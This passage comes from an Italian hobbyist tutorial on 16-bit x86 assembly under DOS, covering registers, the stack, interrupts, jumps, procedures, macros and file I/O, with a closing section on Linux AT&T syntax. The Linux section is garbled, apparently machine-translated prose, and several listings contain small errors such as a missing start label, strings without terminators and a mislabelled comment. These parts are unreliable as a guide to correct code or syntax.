mnemonico di tre caratteri e sono seguite da uno o piu' operandi separati da virgole. Per esempio per mettere un dato in un registro, si puo' utilizzare l'istruzione MOV. Oppure il famoso salto JMP! Per poter commentare un codice si usa il ";" Cosi': mov ax,10 ; colloca 10 in ax! Abbiamo gia' parlato dello stack, ma non di come fare ad inserire e prelevare i dati. Sicuramente avrete sentito gia' PUSH & POP !!Ebbene sono questi! Ecco la sintassi per utilizzarli: -PUSH: Inserisce un dato in cima allo stack Sintassi: push dato -POP: Preleva un dato dallo stack e lo memorizza in uno specifico registro o variabile. Sintassi: pop registro (o variabile) Questo esempio di codice mostra come utilizzare le istruzioni PUSH e POP :) push cx ; colloca cx nello stack push ax ; colloca anche ax pop cx ; estrae il valore dallo stack in cx pop ax ; estrae il valore dallo stack in cx Notate che i valori di CX e AX vengono scambiati. C'e' un istruzione specifica per scambiare i valori contenuti in due registri: XCHG, che puo' essere usato per rimpiazzare il precedente frammento di codice con la sola istruzione "xchg ax,cx". Questo e' un elenco di alcune importanti istruzioni che e' necessario conoscere prima di poter comprendere e scrivere programmi in Assembly. -MOV: copia un valore da una locazione ad un'altra. Sintassi: MOV destinazione, sorgente Ad esempio: mov ax,10 ; Non ha bisogno di commento! mov bx,cx ; Lo stesso! :) mov dx,Number ; moves il valore del numero in dx. -INT: richiama una funzione DOS o del BIOS. Sintassi: INT interrupt number Ad esempio: int 21h ; Chiama Dos int 10h ; Chiama il video del Bios! La maggior parte degli interrupt hanno piu' di una funzione. Questo significa che e' necessario fornire un numero specificatore alla funzione che si desidera richiamare. In genere questo numero viene specificato in AH. Ad esempio per stampare un messaggio sullo schermo bisogna fare cosi': mov ah,9 ; funzione 9! int 21h ; chiama l'interrupt dos e lo stampa. Ma prima bisogna specificare cosa stampare. Questa funzione richiede che: la coppia DS:DX contenga il puntatore a dove si trova il contenuto della stringa. La stringa deve essere terminata con il simbolo ($). Questo sarebbe semplice da ottenere se il registro DS potesse essere manipolato direttamente; bisogna invece utilizzare il registro AX nel modo seguente. L'esempio mostra la tecnica da utilizzare: mov dx,OFFSET Message mov ax,SEG Message mov ds,ax mov ah,9 int 21h Le direttive OFFSET e SEG servono per ottenere il segmento e l'offset dove si trova il messaggio, e non il suo contenuto. Ora che sappiamo come scrivere il codice per visualizzare il messaggio, non resta che dichiarare il messaggio. Nel segmento dati dichiariamo il messaggio nel modo seguente: Message DB "Hello World!$" Notate che la stringa e' terminata con il simbolo di dollaro. Cosa significa 'DB'? DB e' un codice mnemonico che sta per "declare byte" e il messaggio e' un array di byte (un carattere ASCII occupa un byte). I dati possono essere dichiarati di varie dimensioni: byte (DB), word (DW) e double (DD). Ecco alcuni esempi di dichiarazione di dati: Number1 db ? Number2 dw ? Il simbolo di punto di domanda alla fine significa che il dato non e' inizializzato, cioe' non ha un valore iniziale. Se si vuole specificare un valore di inizializzazione, e' sufficiente scrivere: Number1 db 0 Number2 dw 1 In questo caso Number1 assume valore 0 e Number2 e' uguale a 1, quando il programma e' mandato in esecuzione. Se si dichiara una variabile come word, non si puo' copiare il valore di questa variabile in un registro a 8-bit, e allo stesso modo non si puo' dichiarare una variabile come byte e copiarne il contenuto in un registro a 16-bit. Per esempio: mov al,Number1 ; ok mov ax,Number1 ; errore mov bx,Number2 ; ok mov bl,Number2 ; errore Tutto quello che e' necessario ricordarsi e' che si puo' soltanto copiare byte in registri a 8-bit e word in registri a 16-bit,non e' molto difficile da capire ci vuole solo un po di allenamento :) . -------------[ HELLO WORLD ]---------------------------------------------------------------------------------------------------------------------------- Ora che abbiamo analizzato le prime , fondamentali, istruzioni passiamo a scrivere un famoso "Hello Word" (un programmino). Il codice verra' commentato per rendervi tutto chiaro! Listing 1: 1STPROG.ASM ; Facile Proggy che visualizza "Hello World!" :) ; sullo schermo. .model small ;piccolo (e' bene dichiarare il model del codice vedremo in seguito) .stack .data Message db "Hello World!$" ; messaggio da visualizzare .code mov dx,OFFSET Message ; muove l'offset del messaggio in DX mov ax,SEG Message ; muove il segmento in AX mov ds,ax ; DS:DX mov ah,9 ; funzione 9 - visualizzare la stringa int 21h ; chiama dos! mov ax,4c00h ; ritorna a dos int 21h END start ;fine :) Queste sono le istruzioni per compilare e linkare un programma. (a86 o Tasm) -Turbo Assembler tasm file.asm tlink file [/t] L'opzione /t genera un eseguibile .COM, ed e' utilizzabile solo se il modello di memoria e' dichiarato (.small) nel file sorgente. -A86 a86 file.asm Questo comando compila il programma, generando un eseguibile .COM, indipendentemente dal modello di memoria dichiarato.Provate a passare il codice asm sul file C:\a86\a86.exe vi restituira il .com! -----------[ISTRUZIONI VARIE]-------------------------------------------------------------------------------------------------------------------------- Abbiamo visto come compilare scrivere usare alcune funzioni! Soffermiamoci ora su: mov dx,OFFSET MyMessage mov ax,SEG MyMessage mov ds,ax Perche' sprecare byte & tempo? con l'istruzione : 'mov dx,OFFSET MyMessage' (senza apici ovviamente) Si ruiducono quelle tre stringhe! Possiamo rimpiazzare tutto questo con una singola linea.Perche' funzioni, bisogna anche aggiungere queste istruzioni all'inizio del programma facilissima da ricordare!: mov ax,@data mov ds,ax Compilarlo con a86 risulta ancora piu' semplice! Infatti basta aggiungere 'mov ax,data' Questa tecnica si basa sul fatto che tutti i dati in un segmento hanno il medesimo SEG value. Impostando questo valore in DS, evita di doverlo ricaricare ogni volta che desideriamo indirizzare un altro dato nello stesso segmento. Molto carino! :P Utilizzeremo l'interrupt 16h, funzione 00h per leggere la tastiera. Questa chiamata legge un dato dal buffer della tastiera. Se nessun dato e' presente, aspetta fino a quando non e' disponibile. Restutuisce lo SCAN code in AH e la traduzione ASCII in AL. xor ah,ah ; funzione 00h - preleva carattere int 16h ; interrupt 16h Tutto quello di cui dobbiamo preoccuparci per ora e' il valore ASCII (American Standar Code for Information Interchange! =) che si trova in AL. Nota: XOR effettua un OR booleano esclusivo. E' comunemente utilizzato per azzerare un registro o una variabile!! Il problema e' che abbiamo il tasto premuto in AH. Come facciamo a visualizzarlo? Non possiamo usare la funzione 9h perché avremmo dovuto aver già definito una stringa terminandola con il simbolo di dollaro. Questo e' invece cio' che dobbiamo fare. ;dopo aver dichiarato la funzione 00h dell'interrupt 16h mov dl,al ; muove al (ascii code) in dl mov ah,02h ; funzione 02h dell'interrupt 21h int 21h ; chiama interrupt 21h Se desiderate salvare il valore di AH, e' necessario fare PUSH di AX prima della chiamata e recuperarlo in seguito con POP (come abbiamo visto precedentemente nello stack =) Ora esamineremo i famosi (salti) JMP , sono tanti, fodamentali :) Ad esempio: jmp label ; tutto quello che fa e' di saltare alla locazione specificata e continuare Ritornando al discorso precendente (Abbiamo letto un valore dalla tastiera ma ora vogliamo fare qualche operazione). Ad esempio stampiamo qualcosa se questo valore e' uguale ad una certa costante.. Bell'idea :) E' semplice. Utilizziamo comandi di salto condizionato. cmp ax,3 ; AX = 3 ? je correct ; yes ;) -CMP: compara un registro o una variabile con un valore Sintassi: CMP registro o variabile, valore jxx destination Un esempio d'uso e' il seguente: cmp al,'Y' ; compara il valore in al come Y je ItsYES ; se e' uguale salta a ItsYES E' facile,vero? Non capite? Quest'ultimo esempio ...uhm.. non fa altro che comparare , ma se noi mettiamo su' un istruzione che visualizzi la stringa "Sei stupido?" y/n se l'imput dell'utente e' Y (in AL) salta a ItsYES che puo' contenere nel nostro esempio "Wow!". Ecco una ricca tabella di SALTI :) +----+------------------------------------------------------------------------------------+ |JA |Salta se il primo operando e' maggiore del secondo operando | |JAE |Come sopra, ma salta anche se gli operandi hanno lo stesso valore | |JB |Salta se il primo operando e' minore del secondo operando | |JBE |Come sopra, ma salta anche se gli operandi hanno lo stesso valore | |JNA |Salta se il primo operando non e' maggiore del secondo operando (JBE) | |JNAE|Salta se il primo operando non e' maggiore del o uguale al secondo operando (JNB) | |JNB |Salta se il primo operando non e' minore del secondo operando (JAE) | |JNBE|Salta se il primo operando non e' minore del o uguale al secondo operando (JA) | |JZ |Salta se i due operandi sono uguali | |JE |Come JZ | |JNZ |Salta se i due operandi NON sono uguali | |JNE |Come JNZ | |JC |Salta se il flag di carry e' impostato | +----+------------------------------------------------------------------------------------+ Ogni istruzione richiede una certa quantita' di spazio nel segmento codice. Si ottiene un avviso dall'assemblatore se si cerca di saltare a locazioni lontane piu' di 127 byte in entrambe le direzioni. Si puo' risolvere il problema, modificando una sequenza come questa: cmp ax,10 ; AX e'10? je done ; si, finisci! in qualcosa come questa: cmp ax,10 ; AX e' 10? jne notdone ; se nn lo e' salta a notdone jmp done ; funge tipo (else) Se e' uguale vai... se non e' uguale (jne) non andare :) notdone: Ora vedremo un programma che dimostra input, output e controllo del flusso. Listing 2: PROGFLUSSO.ASM ; questo proggy dimostra il flusso input/output .model tiny .code org 100h start: mov dx,OFFSET Message ; visualizza un messaggio sullo schermo mov ah,9 ; usando la funzione 09h int 21h ; dell' intrrupt 21h jmp First_Time Prompt_Again: ; <---------------------------------------------+ | mov dx,OFFSET Another ; visualizza un messaggio sullo schermo | mov ah,9 ; usando la funzione 09h | int 21h ; dell' intrrupt 21h | ; | First_Time: ; | ; | mov dx,OFFSET Again ; visualizza un messaggio sullo schermo | mov ah,9 ; usando la funzione 09h | int 21h ; dell' intrrupt 21h | xor ah,ah ; funzione 00h | ; | int 16h ; interrupt 16h prende i cratteri | mov bl,al ; salva in bl | mov dl,al ; muovi al in dl | mov ah,02h ; funzione 02h - visualizza carattere | int 21h ; chaima dos | ; | cmp bl,'Y' ; al = Y ? | je Prompt_Again ; Se si visualuizza Prompt_Again | cmp bl,'y' ; al = y ? | je Prompt_Again ; Se si visualuizza (Prompt_Again) -------------+ theEnd: mov dx,OFFSET GoodBye ; scrivi messaggio goodbye mov ah,9 ; usando la funzione 9 int 21h ; del intrrupt 21h mov ah,4Ch ; finisci int 21h .DATA CR equ 13 ; enter LF equ 10 ; line-feed Message DB "Input/Output Program $" Prompt DB CR,LF,"Qui il tuo primo prompt.$" Again DB CR,LF,"Vuoi essere visualizzato ancora?$" Another DB CR,LF,"Un altro prompt!$" GoodBye DB CR,LF,"Ciao ci vediamo!" end start -----------[INTRODUZIONE ALLE PROCEDURE]---------------------------------------------------------------------------------------------------------------- Quello che segue e' un elenco di alcuni istruzioni Assembly fondamentali che e' molto importante conoscere e che sono utilizzate molto spesso. -ADD: Aggiunge il contenuto del secondo operando al valore del primo operando Sintassi: ADD operando1,operando2 Questo esempio aggiunge il valore di operando2 a quello di operando1. Il risultato e' memorizzato nell'operando1. Un tipo di dato immediato non puo' essere utilizzato come operando1, ma puo' essere utilizzato come operando2. -SUB: Sottrae il contenuto del secondo operando dal valore del primo operando Sintassi: SUB operand1,operand2 Questo esempio sottrae il valore di operando2 da quello di operando1. Il risultato e' memorizzato nell'operando1. Un tipo di dato immediato non puo' essere utilizzato come operando1, ma puo' essere utilizzato come operando2. :P -MUL: Moltiplica due interi senza segno (sempre positivi) -IMUL: Moltiplica due interi con segno (positivi o negativi) Sintassi: MUL registro o variabile - IMUL registro o variabile Questo esempio moltiplica AL o AX per il valore del registro o della variabile specificati. Se si specifica un operando della dimensione di un byte, AL viene moltiplicato per l'operando e il risultato e' posto nel registro AX. Se invece si specifica un operando della dimensione di una word, AX viene moltiplicato per l'operando e il risultato e' posto in DX:AX. Con i processori 386, 486 e Pentium puo' essere utilizzato anche il registro EAX e il risultato viene posto in EDX:EAX (vi ricordavate?? :) -DIV: Divide due interi senza segno (sempre positivi) -IDIV: Divide due interi con segno (positivi o negativi) Sintassi: DIV registro o variabile - IDIV registro o variabile L'istruzione di divisione funziona in modo simile alla moltiplicazione, dividendo il valore contenuto in AX per il registro o la variabile specificati. Il risultato e' memorizzato in due diverse locazioni. AL contiene il quoziente della divisione mentre il resto e' posto in AH. Se l'operando e' un registro a 16-bit, il numero alla locazione DX:AX viene diviso per l'operando e il quoziente e il resto sono posti rispettivamente in AX e DX. In Assembly una procedura e' l'equivalente di una funzione in C o in Pascal. Una procedura fornisce un modo semplice per incapsulare un calcolo complesso in modo che possa essere utilizzato senza preoccuparsi di come funziona internamente. Con procedure attentamente strutturate, e' possibile realizzare programmi di grosse dimensioni, nascondendo i dettagli implementativi e ottenendo codice piu' leggibile. Ecco come si definisce una procedura: PROC AProcedure . . ;codice.. . ret ; IMPORTANTISSIMO se non e' specificato qui!! il computer crashera' :PPP ENDP AProcedure Invocare una procedura e' altrettanto semplice: call AProcedure Il programma che segue e' un esempio di come usare una procedura. E' simile al primo programma visto, tutto quello che fa è stampare la frase "Hello World!" sullo schermo.: Listing 3: SIMPPROC.ASM ; Sempre il solito Hello World racchiuso in una procedura! .model tiny .code org 100h Start: call Display_Hi ; Chiama la procedura mov ax,4C00h ; ritorna a dos int 21h ;procedura inizio Display_Hi PROC mov dx,OFFSET HI mov ah,9 int 21h ret Display_Hi ENDP ;procedura fine! HI DB "Hello World!" ; definisce il messaggio end Start Le procedure non sarebbero così utili se non si potessero passare parametri per modificarli o utilizzarli all'interno della procedura. Vi sono tre diversi modi di passare un parametro: in un registro, in memoria e sullo stack. Di seguito ci sono tre esempi che svolgono tutti lo stesso compito. Stampano il carattere ASCII 254 in un punto specifico dello schermo: * Passare i parametri nei registri Il vantaggio di passare i parametri nei registri e' la semplicita'. Basta copiare i parametri nei registri prima di invocare la procedura :) Listing 4: PROC1.ASM ; Quresta procedura scrivera' un blocco sullo schermo! ; passando per i registri .model tiny .code org 100h Start: mov dh,4 ; rigo dove scrivere il carattere mov dl,5 ; colonna dove scrivere il carattere mov al,254 ; valore ascii mov bl,4 ; colore del carattere call PrintChar ; scrive il nostro carattere mov ax,4C00h ; termina int 21h PrintChar PROC NEAR push bx ; salva i registri push cx xor bh,bh ; pulisci bh - video page 0 (xor come abbiamo visto pulisce i registri) mov ah,2 ; funzione 2 - muove il cursore int 10h ; row and col are already in dx pop bx ; restituisci bx xor bh,bh ; display page - 0 mov ah,9 ; funzione 09h scrive carattere e attribbuto mov cx,1 ; visualizza esso una volta int 10h ; cchiama il bios pop cx ; restituisci registers ret ; ritorna dove esso e' stato chiamato PrintChar ENDP ; fine procedura :) end Start * Passare i parametri in memoria Il vantaggio di questo metodo e' l'estrema semplicita', ma ha lo svantaggio di rendere il programma piu' lento. Per passare i parametri attraverso la memoria, e' sufficiente copiare i parametri in variabili situate in memoria. ingombrante e lento Listing 5: PROC2.ASM ; Quresta procedura scrivera' un blocco sullo schermo! ; passando per la memoria .model tiny .code org 100h Start: mov Row,4 ; rigo mov Col,5 ; colonna mov Char,254 ; valore ascii mov Colour,4 ; colore call PrintChar ; scrive mov ax,4C00h ; termina int 21h ; in dos PrintChar PROC NEAR push ax cx bx ; salva i registri xor bh,bh ; cancella bh - video page 0 mov ah,2 ; funzione 2 - muove cursore mov dh,Row mov dl,Col int 10h ; chiama il bios mov al,Char mov bl,Colour xor bh,bh ; display page - 0 mov ah,9 ; funzione 09h scrive carattere con gli attribbuti mov cx,1 ; visualizza una volta int 10h ; chiama il bios pop bx cx ax ; restora i registri ret ; ritorna PrintChar ENDP ; qui ci sono le variabili da settare Row db ? Col db ? Colour db ? Char db ? end Start *Passare i parametri sullo stack Questo e' il modo piu' potente e flessibile di passare i parametri. Il problema e' che risulta piu' complicato. Listing 6: PROC3.ASM ; Quresta procedura scrivera' un blocco sullo schermo! ; passando per lo stack .model tiny .code org 100h Start: mov dh,4 ; rigo mov dl,5 ; colonna mov al,254 ; valore ascii mov bl,4 ; colore push dx ax bx ; mette i parametri nello stack!! call PrintString ; scrive pop bx ax dx ; restora i registri mov ax,4C00h ; termina int 21h ; in dos!! PrintString PROC NEAR push bp ; salva bp mov bp,sp ; mette sp in bp push cx ; salva i registri xor bh,bh ; cancella bh - video page 0 mov ah,2 ; function 2 - muove i cursori mov dx,[bp+8] ; restora dx int 10h ; chiama il bios mov ax,[bp+6] ; carattere mov bx,[bp+4] ; attribbuti xor bh,bh ; display page - 0 mov ah,9 ; funzione 09h scrive carattere & attrib. mov cx,1 ; una volta int 10h ; chiama il bios! pop cx ; restore registers pop bp ret ; ritorna PrintString ENDP end Start Per prelevare un parametro dallo stack, tutto quello che serve fare e' conoscere l'indirizzo dove si trova. L'ultimo parametro si trova all'indirizzo BP+2 e il precedente all'indirizzo BP+4 Questo disegnino e' piu' difficile ma dimostra lo Stack di una procedura con due parametri . | /\ | +----------+ | |-----+ SP+6 |Frist | |---------+ |StaCk| | Parameter| |AdDresSes| |GrOwS| +----------+ |GrOwS | |-----+ SP+4 |Second | |---------+ | | Parameter| | | +----------+ | | SP+2 |Return | | | | Address | | | +----------+ | \/ sb,bp E' molto importante dichiarare il modellodi memoria (.model): Sintassi: .MODEL MemoryModel Dove MemoryModel puo' essere SMALL, COMPACT, MEDIUM, LARGE, HUGE, TINY o FLAT. -Tiny- Significa che esiste un unico segmento per codice e dati. Questo tipo di programma puo' essere un eseguibile .COM. -Small- Significa che per default tutto il codice si trova in un unico segmento e tutti i dati dichiarati si trovano in un altro solo segmento. Questo implica che tutte le procedure e le variabili sono indirizzate come NEAR utilizzando solo gli offset. -Compact- Significa che per default tutto il codice si trova in un unico segmento ma i dati possono essere dichiarati in piu' segmenti diversi. Questo implica che i dati sono indirizzati utilizzando sia il segmento sia l'offset. Gli elementi di codice (procedure) sono NEAR e le variabili sono FAR. -Medium- E' l'opposto di compact. I dati sono NEAR e le procedure sono FAR. -Large- Questo significa che sia le procedure sia le variabili sono FAR. Bisogna indirizzarle entrambe utilizzando sia il segmento, sia l'offset. -Flat- Questo modello di memoria si usa quando il processore opera in modalita' protetta e la memoria non e' segmentata. E' utilizzabile solo con sistemi operativi a 32-bit, come Windows 9x e Windows NT. fINE vOLUME 1 e4m Tezkatlipoka@libero.it Www.bfc.too.it wWW.e4m.linuX-duDe.cOm |-------------------------------------------------------------| |Art. N° <18> : "Assembly? No grazie, non fumo! vol. 2" di e4m| |-------------------------------------------------------------| -----------[ MACRO ]---------------------------------------------------------------------------------------------------------------------------------- Le macro sono molto utili per raggruppare sequenze di istruzioni usate frequentemente, per le quali non E' opportuno realizzare una procedura. Le macro sono sostituite al momento della compilazione con il codice che contengono. Questa è la sintassi per definire una macro: Name_of_macro macro ; ;sequenza di istruzioni ; endm Questi due esempi illustrano le macro per salvare e ripristinare di gruppi di registri: SaveRegs macro push ax push bx push cx push dx endm RestoreRegs macro pop dx pop cx pop bx pop ax endm Per usare una macro in un programma e' sufficiente utilizzare il nome della macro come una qualsiasi istruzione. SaveRegs ; sequenza di istruzioni RestoreRegs Questo esempio mostra come si puo' usare una macro per risparmiare righe di codice. Questa macro stampa semplicemente un messaggio sullo schermo. (E' stato usato Turbo Assembler) OutMsg macro SomeText local PrintMe,SkipData jmp SkipData ;-------------+ ; | PrintMe db SomeText,'$' ; | ; | SkipData: ; <--avvia la macro-+ push ax dx cs mov dx,OFFSET cs:PrintMe mov ah,9 int 21h pop cs dx ax endm L'unico problema con le macro è che usandole troppo spesso, la dimensione del codice del programma tende ad aumentare e si rischia di incontrare errori di duplicazione delle label e di nomi delle variabili. Usando LOCAL , che consente di dichiarare nomi che valgono solo all'inerno delle macro , possiamo risolvere questo problema! Sintassi: LOCAL name Dove name e' il nome di una variabile locale o di una label. Un'altra utile proprietà delle macro è che possono avere parametri. Il numero di parametri e' limitato solo dalla lunghezza della linea di codice. Sintassi: Name_of_Macro macro par1,par2,par3 ; ; istruzioni ; endm Questo esempio somma il primo e il secondo parametro e pone il risultato nel terzo: AddMacro macro num1,num2,result push ax ; salva AX mov ax,num1 ; metti il num1 in AX add ax,num2 ; metti il num2 in AX mov result,ax ; sposta il risultato di ax in result pop ax ; restore ax endm I file possono essere aperti, letti e scritti. Il DOS ha diversi modi per fare queste operazioni, che risparmiano la necessita' di dover scrivere ogni volta routine ad hoc (fatto su misura thx to Spider ;). Quella che segue e' una lista di utili funzioni dell'interrupt 21h che operano con i file. Function 3Dh: open file Apre un file esistente in lettura, scrittura o in aggiunta, con il nome e drive specificati. Funzioni che operano sui file I file possono essere aperti, letti e scritti. Il DOS ha diversi modi per fare queste operazioni, che risparmiano la necessità di dover scrivere ogni volta routine ad hoc. Quella che segue è una lista di utili funzioni dell'interrupt 21h che operano con i file. Nota: I bit sono numerati da destra verso sinistra. Function 3Dh: open file Apre un file esistente in lettura, scrittura o in aggiunta, con il nome e drive specificati. INPUT: AH = 3Dh AL = bits 0-2 Access mode 000 = read only 001 = write only 010 = read/write bits 4-6 Sharing mode (DOS 3+) 000 = compatibility mode 001 = deny all 010 = deny write 011 = deny read 100 = deny none DS:DX = segment:offset of ASCIIZ pathname OUTPUT: CF = 0 function is succesful AX = handle CF = 1 error has occured AX = error code 01h missing file sharing software 02h file not found 03h path not found or file does not exist 04h no handle available 05h access denied 0Ch access mode not permitted Cosa significa ASCIIZ? Una stringa ASCIIZ e' una stringa di caratteri ASCII terminata con uno zero anziche' con il simbolo di dollaro :) ($) E' importante salvare l'handle del file perche' serve per fare qualsiasi operazione con il file. Come si fa? Ci sono due metodi utilizzabili: copiare l'handle in un registro e rinunciare a utilizzarlo finche' il file e' in uso, oppure copiarlo in una locazione di memoria. ;usiamo il secondo metodo , migliore FileHandle DW 0 ; usa per salvare il file nell handle . . . mov FileHandle,ax ; salva il file nell handle Continuiamo .. Function 3Eh: close file Chiude un file che è stato aperto. INPUT: AX = 3Eh BX = file handle OUTPUT: CF = 0 function is successful AX = destroyed CF = 1 function not successful AX = error code - 06h file not opened or unauthorised handle. Function 3Fh: read file/device Legge byte da un file o da un device in un buffer di memoria. INPUT: AH = 3Fh BX = handle CX = number of bytes to be read DS:DX = segment:offset of a buffer OUTPUT: CF = 0 function is successful AX = number of bytes read CF = 1 an error has occurred 05h access denied 06h illegal handle or file not opened Utilizziamo queste prime istruzioni per crareun file asm che legge un file : Listing 7: READFILE.ASM .model small .stack .code mov ax,@data ; l'indirizzo base del data mov ds,ax ; mattiamolo in ds mov dx,OFFSET FileName ; metto l'indirizzo del file in dx mov al,2 ; il modo d'accesso - read and write mov ah,3Dh ; funzioni 3Dh - open a file int 21h ; chiamo dos mov Handle,ax ; salvo l'handle jc ErrorOpening ; jump se il flag carry e' settato! - errore mov dx,offset Buffer ; l'indirizzo del buffer in dx mov bx,Handle ; handle in bx mov cx,100 ; l'ammontare dei byte da leggere mov ah,3Fh ; funzione 3Fh - read from file int 21h ; chiamo dos jc ErrorReading ; jump se il flag carry e' settato! -errore mov bx,Handle ; metto l'handle in bx mov ah,3Eh ; funzione 3Eh - close a file int 21h ; chiamo dos mov cx,100 ; lunghezza mov si,OFFSET Buffer ; DS:SI - indirizzo della string xor bh,bh ; video page - 0 mov ah,0Eh ; funzione 0Eh - write character NextChar: lodsb ; AL = prossimo carattere nella stringa int 10h ; chiamo il bios loop NextChar mov ax,4C00h ; fine int 21h ErrorOpening: mov dx,offset OpenError ; visualizza l'errore mov ah,09h ; usando la funzione 09h int 21h ; auindi chiamo dos mov ax,4C01h ; chiudo il prog. se si verifica errorlevel =1 int 21h ErrorReading: mov dx,offset ReadError ; visualizza l'errore mov ah,09h ; usando la funzione 09h int 21h ; chiamo dos mov ax,4C02h ; chiudo il prog. se si verifica errorlevel =1 int 21h .data Handle DW ? ; storiamo il file handle FileName DB "C:\test.txt",0 ; il file da aprire OpenError DB "An error has occured(opening)!$" ;i messaggi d'errore ReadError DB "An error has occured(reading)!$" ; leggi su :PP Buffer DB 100 dup (?) ; storiamo il buffer END ; finisce qui ;) Da notare l'utilizzo di jc ErrorReading che corrisponde ad un salto ad una stringa d'avviso mov dx,offset ReadError che ci dice l'errore corrisponde al Vb On error GoTo Next :) Function 3Ch: Create file Crea un file vuoto sul drive e con il nome specificati. INPUT: AH = 3Ch CX = file attribute bit 0 = 1 read-only file bit 1 = 1 hidden file bit 2 = 1 system file bit 3 = 1 volume (ignored) bit 4 = 1 reserved (0) - directory bit 5 = 1 archive bit bits 6-15 reserved (0) DS:DX = segment:offset of ASCIIZ pathname OUTPUT: CF = 0 function is successful AX = handle CF = 1 an error has occurred 03h path not found 04h no available handle 05h access denied Function 4Eh: find first matching file Cerca il primo file con il nome specificato. INPUT: AH = 4Eh CX = file attribute mask (bits can be combined) bit 0 = 1 read only bit 1 = 1 hidden bit 2 = 1 system bit 3 = 1 volume label bit 4 = 1 directory bit 5 = 1 archive bit 6-15 reserved DS:DX = segment:offset of ASCIIZ pathname OUTPUT: CF = 0 function is successful [DTA] Disk Transfer Area = FindFirst data block The DTA block: Offset Size in bytes Meaning 0 21 Reserved 21 1 File attributes 22 2 Time last modified 24 2 Date last modified 26 4 Size of file (in bytes) 30 13 File name (ASCIIZ) Un esempio di come verificare l'esistenza di un file: File DB "C:\file.txt",0 ; nome del file mov dx,OFFSET File ; indirizo del file mov cx,3Fh ; file mask 3Fh - qualsiasi file mov ah,4Eh ; function 4Eh - trova primo file int 21h ; chiamo dos jc NoFile ; scrivo un msg dicebndoi che il file esiste! NoFile: ; creo il file :) Questo e' ,invece, un esempio per creare un file e scriverci dei dati! Listing 8: CREATE.ASM .model small .stack .code mov ax,@data ; l'indirizzo base del data mov ds,ax ; va in ds mov dx,offset StartMessage mov ah,09h int 21h mov dx,offset FileName ; metto l'offset del file in dx xor cx,cx ; cancrello cx mov ah,3Ch ; funzione 3Ch - creo un file int 21h ; chiamo dos jc CreateError ; salto on error mov dx,offset FileName ; metto l'offset in dx mov al,2 ; modalita' d'accesso- read and write mov ah,3Dh ; funzione 3Dh - open the file int 21h ; chiamo dos jc OpenError ; salto se ci sono errori mov Handle,ax ; salvo i valori dell handle mov dx,offset WriteMe ; l'indirizzo delle info da scrivere mov bx,Handle ; l'handle del file mov cx,38 ; 38 bytes scritti mov ah,40h ; funzione 40h - write to file int 21h ; chiamo dos jc WriteError ; salto on error cmp ax,cx ; sono state scritte tutte? jne WriteError ; se no ..errore mov bx,Handle ; metti il file handle in bx mov ah,3Eh ; funzioine 3Eh - close a file int 21h ; chiamo dos mov dx,offset EndMessage mov ah,09h int 21h ReturnToDOS: mov ax,4C00h ; end :) int 21h WriteError: mov dx,offset WriteMessage jmp EndError OpenError: mov dx,offset OpenMessage jmp EndError CreateError: mov dx,offset CreateMessage EndError: mov ah,09h int 21h mov ax,4C01h int 21h .data CR equ 13 LF equ 10 StartMessage DB "Creo un file NEW.TXT" DB ,"in c:\$" EndMessage DB CR,LF,"Creato! Controlla" DB ,"per essere sicuro!.$" WriteMessage DB "An error has occurred (WRITING)$" OpenMessage DB "An error has occurred (OPENING)$" CreateMessage DB "An error has occurred (CREATING)$" WriteMe DB "abcd1234 :) prova prova by e4m",0 FileName DB "C:\new.txt",0 ; nome del file da scrivere Handle DW ? ; store dell handle END Questo e' un esempio di come cancellare un file dopo aver verificato che esiste: Listing 9: DELFILE.ASM .model small .stack .data CR equ 13 LF equ 10 File db "C:\new.txt",0 Deleted db "Deleted file c:\new.txt! :)$" NoFile db "c:\new.txt doesn't exits - exiting$" ErrDel db "Can't delete file - forse e' protetto!!$" .code mov ax,@data mov ds,ax mov dx,OFFSET File ; l'indirizzo del file mov cx,3Fh ; file mask 3Fh - any file mov ah,4Eh ; funzione 4Eh - find first file int 21h jc FileDontExist mov dx,OFFSET File ; DS:DX points del file saranno' cancellati! mov ah,41h ; funzione 41h - delete file int 21h jc ErrorDeleting ; salta on error mov dx,OFFSET Deleted ; visualizza msg jmp Endit ErrorDeleting: mov dx,OFFSET ErrDel jmp Endit FileDontExist: mov dx,OFFSET NoFile EndIt: mov ah,9 int 21h mov ax,4C00h int 21h end Ora non scrivo' l'intero prog ma il pezzo che interezza la funzione FindFirst e FindNext :) FileName db "c:\*.*",0 ;il file DTA db 128 dup(?) ;buffer da storare del DTA ErrorMsg db "An Error has occurred - exiting :($" mov ah,1AH ; funzione 1Ah - set DTA mov cx,3Fh ; attribute mask - all files mov dx,OFFSET FileName ; DS:DX points ASCIZ filename mov ah,4Eh ; funzione 4Eh - find first LoopCycle: ;inizia ciclo mov dx,OFFSET FileName ; DS:DX points to file name mov ah,4Fh ; funzione 4fh - find next mov di,OFFSET DTA+30 ; ES:DI points a DTA mov cx,13 ; lunghezza del file xor al,al ; azzero rep stosb ; cancello DTA -----------[ INTRO LINUX ASM ]--------------------------------------------------------------------------------------------------------------------------- INTEL ed il linguaggio Assembler di sintassi del AT&t sono molto differenti da a vicenda nell'apparenza e questo condurrà a confusione quando un primo viene attraverso sintassi del AT&t dopo che impara la sintassi dell'cIntel in primo luogo, o viceversa. Così lascia l'inizio con i principi fondamentali. Appunto per questo dedico un piccolo spazio anche per i programmatori asm in LINUX. In AT&t tuttavia i registri sono premessi con 'un %' 'ed i immed sono premessi con una sintassi 'di $ ' Sintassi Intex: mov eax,1 mov ebx,0ffh int 80h Sintassi AT&t: movl $1,%eax movl $0xff,%ebx int $0x80 Il senso degli operandi in sintassi dell'cIntel è opposto da quello di sintassi del AT&t. In sintassi dell'cIntel il primo operando è la destinazione ed il secondo operando e' la fonte mentre in sintassi del AT&t il primo operando è la fonte ed il secondo operando è la destinazione. Il vantaggio di sintassi del AT&t in questa situazione e' evidente. Leggiamo da sinistra a destra, scriviamo da sinistra a destra, in modo da questo senso e' naturale. Sintassi Intex: instr dest,source mov eax,[ecx] Sintassi AT&t: instr source,dest movl (%ecx),%eax Gli operandi di memoria come visti sopra sono differenti inoltre. In sintassi dell'cIntel il registro basso e' : [ 'e '] mentre in sintassi del AT&t e': ('e ') . Sintassi Intex: mov eax,[ebx] mov eax,[ebx+3] Sintassi AT&t: movl (%ebx),%eax movl 3(%ebx),%eax AT&t forma per le istruzioni che coinvolgono i funzionamenti complessi e' molto oscuro confrontato ad INTEL la sintassi. La forma di sintassi dell'cIntel di questi e' segreg:[base+index*scale+disp]. La forma di sintassi del AT&t e' %segreg:disp(base, l'indice, scale). Sintassi Intex: instr foo,segreg:[base+index*scale+disp] mov 